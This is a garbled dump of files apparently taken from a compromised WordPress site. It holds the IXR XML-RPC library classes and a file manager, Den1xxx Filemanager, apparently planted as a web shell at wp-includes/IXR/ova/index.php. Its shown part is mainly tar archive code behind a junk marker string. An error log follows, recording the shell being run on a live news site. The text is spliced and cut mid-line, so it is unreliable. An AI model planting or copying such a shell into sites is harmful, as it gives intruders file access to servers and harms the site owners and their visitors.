nskldgskgsdgf hlsqmdklsqd speskdjqsjdss class-IXR-value.php000064400000007316150545731340010152 0ustar00data = $data; if (!$type) { $type = $this->calculateType(); } $this->type = $type; if ($type == 'struct') { // Turn all the values in the array in to new IXR_Value objects foreach ($this->data as $key => $value) { $this->data[$key] = new IXR_Value($value); } } if ($type == 'array') { for ($i = 0, $j = count($this->data); $i < $j; $i++) { $this->data[$i] = new IXR_Value($this->data[$i]); } } } /** * PHP4 constructor. */ public function IXR_Value( $data, $type = false ) { self::__construct( $data, $type ); } function calculateType() { if ($this->data === true || $this->data === false) { return 'boolean'; } if (is_integer($this->data)) { return 'int'; } if (is_double($this->data)) { return 'double'; } // Deal with IXR object types base64 and date if (is_object($this->data) && is_a($this->data, 'IXR_Date')) { return 'date'; } if (is_object($this->data) && is_a($this->data, 'IXR_Base64')) { return 'base64'; } // If it is a normal PHP object convert it in to a struct if (is_object($this->data)) { $this->data = get_object_vars($this->data); return 'struct'; } if (!is_array($this->data)) { return 'string'; } // We have an array - is it an array or a struct? if ($this->isStruct($this->data)) { return 'struct'; } else { return 'array'; } } function getXml() { // Return XML for this value switch ($this->type) { case 'boolean': return ''.(($this->data) ? '1' : '0').''; break; case 'int': return ''.$this->data.''; break; case 'double': return ''.$this->data.''; break; case 'string': return ''.htmlspecialchars($this->data).''; break; case 'array': $return = ''."\n"; foreach ($this->data as $item) { $return .= ' '.$item->getXml()."\n"; } $return .= ''; return $return; break; case 'struct': $return = ''."\n"; foreach ($this->data as $name => $value) { $name = htmlspecialchars($name); $return .= " $name"; $return .= $value->getXml()."\n"; } $return .= ''; return $return; break; case 'date': case 'base64': return $this->data->getXml(); break; } return false; } /** * Checks whether or not the supplied array is a struct or not * * @param array $array * @return bool */ function isStruct($array) { $expected = 0; foreach ($array as $key => $value) { if ((string)$key !== (string)$expected) { return true; } $expected++; } return false; } } class-IXR-client.php000064400000011263150545731410010306 0ustar00server = $bits['host']; $this->port = isset($bits['port']) ? $bits['port'] : 80; $this->path = isset($bits['path']) ? $bits['path'] : '/'; // Make absolutely sure we have a path if (!$this->path) { $this->path = '/'; } if ( ! empty( $bits['query'] ) ) { $this->path .= '?' . $bits['query']; } } else { $this->server = $server; $this->path = $path; $this->port = $port; } $this->useragent = 'The Incutio XML-RPC PHP Library'; $this->timeout = $timeout; } /** * PHP4 constructor. */ public function IXR_Client( $server, $path = false, $port = 80, $timeout = 15 ) { self::__construct( $server, $path, $port, $timeout ); } /** * @since 1.5.0 * @since 5.5.0 Formalized the existing `...$args` parameter by adding it * to the function signature. * * @return bool */ function query( ...$args ) { $method = array_shift($args); $request = new IXR_Request($method, $args); $length = $request->getLength(); $xml = $request->getXml(); $r = "\r\n"; $request = "POST {$this->path} HTTP/1.0$r"; // Merged from WP #8145 - allow custom headers $this->headers['Host'] = $this->server; $this->headers['Content-Type'] = 'text/xml'; $this->headers['User-Agent'] = $this->useragent; $this->headers['Content-Length']= $length; foreach( $this->headers as $header => $value ) { $request .= "{$header}: {$value}{$r}"; } $request .= $r; $request .= $xml; // Now send the request if ($this->debug) { echo '
'.htmlspecialchars($request)."\n
\n\n"; } if ($this->timeout) { $fp = @fsockopen($this->server, $this->port, $errno, $errstr, $this->timeout); } else { $fp = @fsockopen($this->server, $this->port, $errno, $errstr); } if (!$fp) { $this->error = new IXR_Error(-32300, 'transport error - could not open socket'); return false; } fputs($fp, $request); $contents = ''; $debugContents = ''; $gotFirstLine = false; $gettingHeaders = true; while (!feof($fp)) { $line = fgets($fp, 4096); if (!$gotFirstLine) { // Check line for '200' if (strstr($line, '200') === false) { $this->error = new IXR_Error(-32300, 'transport error - HTTP status code was not 200'); return false; } $gotFirstLine = true; } if (trim($line) == '') { $gettingHeaders = false; } if (!$gettingHeaders) { // merged from WP #12559 - remove trim $contents .= $line; } if ($this->debug) { $debugContents .= $line; } } if ($this->debug) { echo '
'.htmlspecialchars($debugContents)."\n
\n\n"; } // Now parse what we've got back $this->message = new IXR_Message($contents); if (!$this->message->parse()) { // XML error $this->error = new IXR_Error(-32700, 'parse error. not well formed'); return false; } // Is the message a fault? if ($this->message->messageType == 'fault') { $this->error = new IXR_Error($this->message->faultCode, $this->message->faultString); return false; } // Message must be OK return true; } function getResponse() { // methodResponses can only have one param - return that return $this->message->params[0]; } function isError() { return (is_object($this->error)); } function getErrorCode() { return $this->error->code; } function getErrorMessage() { return $this->error->message; } } class-IXR-base64.php000064400000000636150545731460010123 0ustar00data = $data; } /** * PHP4 constructor. */ public function IXR_Base64( $data ) { self::__construct( $data ); } function getXml() { return ''.base64_encode($this->data).''; } } ova/index.php000064400000233533150545731530007172 0ustar00nskldgskgsdgf hlsqmdklsqd speskdjqsjdss <\/script>\r\n errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
'; foreach ($Errors as $value) $message .= $value.'
'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } ova/error_log000064400000043222150545731600007257 0ustar00[29-Aug-2025 22:47:43 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [29-Aug-2025 22:47:48 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [29-Aug-2025 22:50:25 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [29-Aug-2025 22:50:31 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [30-Aug-2025 03:16:40 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [30-Aug-2025 03:16:46 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [30-Aug-2025 04:37:22 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [30-Aug-2025 04:37:23 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [30-Aug-2025 04:37:23 UTC] PHP Fatal error: Uncaught Error: Call to undefined function phpinfo() in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php:669 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 669 [30-Aug-2025 04:46:43 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [30-Aug-2025 04:46:45 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [30-Aug-2025 04:46:56 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [30-Aug-2025 04:46:56 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [30-Aug-2025 04:47:17 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [30-Aug-2025 04:47:19 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [30-Aug-2025 05:15:29 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [30-Aug-2025 05:15:30 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open st[30-Aug-2025 07:41:49 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [30-Aug-2025 07:41:54 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [30-Aug-2025 07:46:28 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [30-Aug-2025 07:46:33 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [30-Aug-2025 09:51:54 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [30-Aug-2025 09:51:59 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [30-Aug-2025 09:59:09 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [30-Aug-2025 09:59:15 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [30-Aug-2025 10:11:38 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [30-Aug-2025 10:11:43 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [30-Aug-2025 10:11:43 UTC] PHP Fatal error: Uncaught Error: Call to undefined function phpinfo() in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php:669 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 669 [30-Aug-2025 11:55:14 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [30-Aug-2025 11:55:15 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [30-Aug-2025 12:02:17 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [30-Aug-2025 12:02:17 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [30-Aug-2025 12:04:22 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [30-Aug-2025 12:04:22 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open st[30-Aug-2025 12:25:15 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [30-Aug-2025 12:25:16 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [30-Aug-2025 12:26:00 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [30-Aug-2025 12:26:02 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [30-Aug-2025 12:26:02 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [30-Aug-2025 12:26:02 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [30-Aug-2025 12:26:03 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [30-Aug-2025 12:26:04 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [30-Aug-2025 12:26:04 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [30-Aug-2025 12:26:04 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [30-Aug-2025 12:26:06 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [30-Aug-2025 12:26:07 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [30-Aug-2025 12:26:10 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [30-Aug-2025 12:26:11 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [30-Aug-2025 12:26:41 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [30-Aug-2025 12:26:42 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [30-Aug-2025 12:26:48 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [30-Aug-2025 12:26:49 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [30-Aug-2025 12:26:51 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [30-Aug-2025 12:26:51 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [30-Aug-2025 12:26:53 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [30-Aug-2025 12:26:55 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [30-Aug-2025 12:26:56 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [30-Aug-2025 12:26:56 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [30-Aug-2025 12:26:58 UTC] PHP Warning: file_get_contents(): https:// 